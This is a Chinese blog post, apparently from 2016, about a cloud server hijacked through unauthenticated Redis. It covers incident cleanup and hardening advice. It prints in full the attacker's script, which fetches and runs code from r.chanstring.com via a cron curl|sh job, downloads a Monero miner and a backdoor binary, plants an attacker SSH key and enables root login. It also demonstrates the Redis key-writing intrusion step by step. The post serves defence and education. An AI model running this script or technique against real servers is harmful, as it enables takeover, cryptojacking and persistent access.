小心Redis漏洞让你服务器沦为肉鸡

2016-06-23 龙果

前言

朋友的一个项目接到云服务器的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH终端远程管理服务器也频繁断开链接。朋友不知如何下手,便邀请我帮忙处理,处理过程中发现国内有大量的项目因此漏洞中招。在这里我把利用漏洞的攻击的详细过程列出来,并给出相应的处理方案和系统加固方案,目的是提醒大家注意系统安全,加强系统运维的安全配置。(特别提醒:本文仅供学习研究和系统安全防御,请不要利用文中所列漏洞去做违法的事情)

阿里云的安全告警邮件内容:



注:对外网开放访问权限并安装了Redis的服务器特别容易因此漏洞中招(比如你在云服务器上安全了Redis,云服务器公网可访问,并且很多云服务器的操作系统默认把防火墙服务关闭了,这种情况特意中招)

一、处理过程:

1、在没有查到异常进程之前我是先把操作系统的带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因:

2、 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常进程还有些异常的这里就截图一个:

3、果断把进程给kill -9  了  没想到再去ps的时候又来了意思就是会自动启动它。这就让我想到了crond 这个自动任务,果不其然 /var/spool/cron/root 这个文件被人做了手脚而且是二进制的。果断又给删除了,以为这下没事了结果过了两分钟这个文件又出来了。这个就引起我联想到了是不是有其它的守护进程,因为这样的情况肯定是有守护进程在才会发生。

于是百度了一下异常进程中的一段信息 yam -c x -M stratum+tcp ,果不其然确实是这个进程的问题。资料显示攻击是由于Redis未授权登陆漏洞被黑客利用,登录redis 控制台一看果然有个莫名其妙的key, 刚好这个key 就是ssh的key,于是断定黑客是从reids的未授权漏洞登陆进来的。

4、在服务器上我查了自动任务的文件被黑客编译成二进制的源文件代码,所以我无法得知内容。 但是我在crond的日志里面找到了它下载脚本的链接:

https://r.chanstring.com/api/report?pm=1 (IP地址【104.131.120.66】在美国)

5、详细攻击代码如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" >/var/spool/cron/root

# echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr">> /var/spool/cron/root

echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr&

if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-    rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB    CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx    L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX    1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes">> /etc/ssh/sshd_config

echo "RSAAuthentication yes">> /etc/ssh/sshd_config

echo "PubkeyAuthenticationyes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f"/opt/yam/yam" ]; then

mkdir -p /opt/yam

curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam

chmod +x /opt/yam/yam

# /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr

fi

if [ ! -f"/opt/gg3lady" ]; then

curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

chmod +x /opt/gg3lady

fi

# yam=$(ps auxf| grep yam | grep -v grep | wc -l)

# gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)

# cpu=$(cat/proc/cpuinfo | grep processor | wc -l)

# curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname-i`

6、脚本分析

找到源头了,下面我们来分析下这个脚本:

    echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root   每两分钟执行一次这个脚本

echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

这个脚本我不知道干么的,应该是生成这个自动任务文件的守护进程,以至于删除自动任务文件会自动再来一份脚本进程死了这个自动任务又会起来
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratu
m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV
6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
这个是挖矿脚本,黑客靠这个连接池去挖btc(比特币),意思就是这个肉鸡已经提供了。
下面这个就是一个免密钥登陆的脚本了

下面这两个是下载文件的脚本跟赋权限

 整个脚本的大致就这样

7、处理方法

要把 /var/spool/cron/root 删除,  /opt/yam/yam ,  删除   /opt/gg3lady ,删除  /root/.ssh/KHK75NEOiq 删除。

把gg3lady  yam  进程结束还有就是sshd_confg 文件还原,把redis入侵的的Redis中的key删除应该就没问题了。但是为了安全起见,建议还是重装服务器操作系统比较保险,因为不能确保黑客没有留其他的漏洞后门,毕竟root权限已经被其获取过了。

8、对应的安全处理:
(1) 限制Redis的访问IP,如指定本地IP获指定特定IP可以访问。
(2) 如果是本地访问和使用,打开防火墙(阿里云等操作系统,默认把防火墙关了,这也是为什么朋友的这台服务器会中招的原因之一),不开放Redis端口,最好修改掉Redis的默认端口;
(3) 如果要远程访问,给Redis配置上授权访问密码;

二、Redis 未授权登录漏洞分析

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。  (导致可以执行任何操作)

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

这里我可以演示一遍给大家看看怎么通过redis未授权漏洞直接免密钥进行登陆

攻击过程

(注意我本机是162   要入侵的服务器是161)

1、 生成本地服务器私钥跟公钥

2、把公钥写进我们要攻击的服务器的redis一个key里面去 (为什么要把公钥加空格追加到一个文件是因为redis的存储)

3、 登陆要攻击的服务器redis控制台,从新定义redis保存数据的路径为configset dir /root/.ssh/(这个是需要知道linux下面ssh 面密钥登陆的key默认的存放才能设定的默认情况下是/roo/.ssh一般情况下很多管理员都不会去更改),在把reids的dbfilename定于成 linux 下面ssh面密钥登陆的文件名就好了configset dbfilename "authorized_keys"(默认文件名是authorized_keys 这个广大linux管理员都这个这个所以这个入侵还是要点linux功底的),最后保存 save 

4、激动人心的时刻到了直接ssh 登陆192.168.8.161  无需要密码就能登陆了

到这里我们就可以完全控制别人的服务器了,你想怎么玩就怎么玩了(特别提醒:以上入侵模拟流程仅供学习研究)

5、这里我搜了下全球有10W+的服务器将Redis默认端口暴露于公网之中(仅供学习研究,希望不要利用教程去做违法的事情)

技术支持:龙果学院 http://www.roncoo.com

小心Redis漏洞让你服务器沦为肉鸡相关推荐

  1. 完了!服务器沦为肉鸡了!排查过程!

    点击上方"Java之间",选择"置顶或者星标" 你关注的就是我关心的! 作者:kluan 1.从防火墙瘫痪说起 今天还没到公司就被电话告知办公室无法正常连接互联 ...

  2. 【实战记录】记录服务器遭到攻击全过程(Redis漏洞)

    目录 概述 事件全流程叙述 本次解决方案总结 根本原因:Redis漏洞 止损方案 预防方案 主要原因:自身因素 总结 概述 在原本的做项目过程中,更加注重于项目功能的实现.而忽略了一个很重要的东西-- ...

  3. redis -cli command not found_记一次 Linux 服务器 redis 漏洞分析

    简单记录分析过程. 收到阿里云报警短信 [阿里云]尊敬的xxx@xxx.com:云盾云安全中心检测到您的服务器:xx.xx.xx.xx(dev)出现了紧急安全事件:Linux可疑计划任务,建议您立即登 ...

  4. redis 漏洞利用与防御

    前言 ​ Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描.控制.感染以及用来进行挖矿.勒索等恶意行为,早期网上曾经 ...

  5. 服务器被肉鸡如何解决?

    服务器被肉鸡是指开了3389端口微软终端服务(microsoftterminalservice),又有弱密码的高速服务器,俗称"肉鸡".如果我们的服务器被肉鸡了怎么办呢?如何处理呢 ...

  6. redis漏洞利用总结

    前言 redis属于非关系型数据库,在开启后默认监听端口为6379.若Redis配置不当可导致攻击者直接获取到服务器的权限. 利用条件:redis以root身份运行,存在未授权访问,弱口令或者口令泄露 ...

  7. 又见到一个利用redis漏洞的活生生的例子

    又见到一个如何利用redis漏洞的活生生的例子! 原理大概如下: config set  dir /var/spool/cron config set dbfilename root 新建cron.t ...

  8. 避免服务器成为肉鸡的应对措施

    转载来源 :避免服务器成为肉鸡的应对措施 :http://www.safebase.cn/article-257033-1.html 摘要: 在公网中每时每刻都有人通过密码字典暴力破解试图登陆你的服务 ...

  9. 电脑知识:电脑被黑客攻击,那么如何电脑判断沦为“肉鸡”?

    "肉鸡"在黑客里面的一个专有名词,意思是你的电脑已经完全被黑客所控制,他可以控制你电脑里面的一切资料,甚至是记录你输入的QQ密码,银行密码.同时,他还可以利用你的电脑去攻击其它人的 ...

最新文章

  1. HBase Error IllegalStateException when starting Master: hsync
  2. 选了combobox里的选项后没激发change事件_stata 事件分析法
  3. Java 8 Friday:不再需要ORM
  4. ios - Parse Issues in NSObjCRuntime, NSZone, and NSObject
  5. 杭州某知名xxxx公司急招大量java以及大数据开发工程师
  6. shader变体是什么_[Unity/shaderlab]关于着色器变体
  7. Python 进阶 —— 可变参数(*args, **kw)与参数收集的逆过程
  8. andriod 自定义来电界面功能
  9. 3dmax 渲染关机 脚本_3dmax从零开始【一】菜单栏
  10. DBeaver 7.2.4 发布,可视化数据库管理平台
  11. C语言实现校运动会项目管理系统
  12. 服务器时间和系统时间不同步,电脑时间不同步怎么办 电脑时间同步不了的解决方法【详解】...
  13. Python批量爬取华语天王巨星周杰伦的音乐
  14. 操作系统——(11)多媒体操作系统
  15. 硬盘安装原版雪豹10.6.3与win7不完美教程
  16. HyperMesh网格划分简要流程小试
  17. 导入的OSM地图如何快速设置道路信息
  18. 计算机10秒后重新启动,电脑自动反复重启,CPU风扇转十几秒就停了
  19. 山东涛雒镇万亩水稻 国稻种芯·中国水稻节:日照迎来收割季
  20. 主要的动态视图对应的基表

热门文章

  1. linux 系统创建ora文件,手动创建oracle数据库
  2. float与double的范围和精度
  3. 虚拟化方案应用场景及优劣
  4. linux内核网络协议栈--数据包的网卡驱动收发包过程(二十五)
  5. leetcode算法题--出界的路径数★
  6. 公网开放的plc设备——一种新型的后门
  7. 29.CSS3边框图片效果
  8. 使用注解打造自己的IOC框架
  9. 期末总结:LINUX内核分析与设计期末总结
  10. Linux命令之at